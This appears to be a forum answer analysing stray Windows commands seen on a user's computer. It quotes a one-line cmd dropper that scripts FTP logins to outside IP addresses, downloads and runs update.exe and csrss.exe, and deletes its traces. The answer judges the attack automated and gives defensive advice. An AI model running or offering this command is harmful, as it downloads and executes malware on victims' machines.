Well, there seems to be a few similar snippets of code around the web. The most similar to yours was found on a Pastebin-type site that has since been removed (but the Google Cache was still up):
cmd /c echo open 220.127.116.11 21 >> ik &echo user oracle oracle >>
ik &echo binary >> ik &echo get update.exe >> ik &echo bye >> ik &ftp
-n -v -s:ik &del ik &update.exe &exit &echo open 18.104.22.168 11104 >> eq&echo user 1297 20204 >> eq &echo get csrss.exe >> eq &echo quit >> eq &ftp -n -s:eq &csrss.exe &del eq
Although the code is somewhat different, there is quite good analysis from veteran Ars Technica forum member Syonyk here:
tl;dr version: "Don't run VNC on a public IP with anything but a very,
very strong password. Better yet, don't run it on a public port (bind
it to localhost), and SSH/VPN in to access it."
A friend of mine has a Mac, and her system has been a bit strange
Specifically, it's been acting suspiciously like it's been rooted -
which, being a fellow Mac user, concerns me greatly. She's had random
text show up in IM windows, but apparently was away from the computer
and never investigated.
Tonight, she had something show up in a terminal window while she was
away, and IM'd it to me. I have remote (root) access to her system
(she's aware of this and set up the account for me), and was bored, so
I decided to investigate. ... My first thought was that this had to be
an automated program. A human won't try to enter Win32 specific
commands on a Mac. It appears that the program sent keycodes that were
not translated properly to the Mac, which would be consistent with an
I would generally think that:
This is an automated attack. csrss.exe is a Windows system
executable, and someone specifically targeting your Linux system
would not try to invoke it.
This type of attack (passing a command sequence into the user
clipboard in the hopes that it will be inadvertently executed in a
command prompt) is not new - the Ars Technica post is from 2002, over
a decade ago.
So I would suggest that your computer may not be compromised (contrary to the Ars Technica opinion above):
You sound like you would not have made the mistakes described. It may "just" be that a
browser feature (or exploit) has allowed a malicious site to access
If indeed your computer has been compromised, the attacker would
have no need to use this method - he would just interact with a
The solution for you would probably be watchful waiting - as in be alert for any further oddness, and if seen re-evaluate.
Or if some action were deemed prudent, probably the best would be the usual suspects - make sure your browser(s), browser plugins, and your OS are up to date with security patches.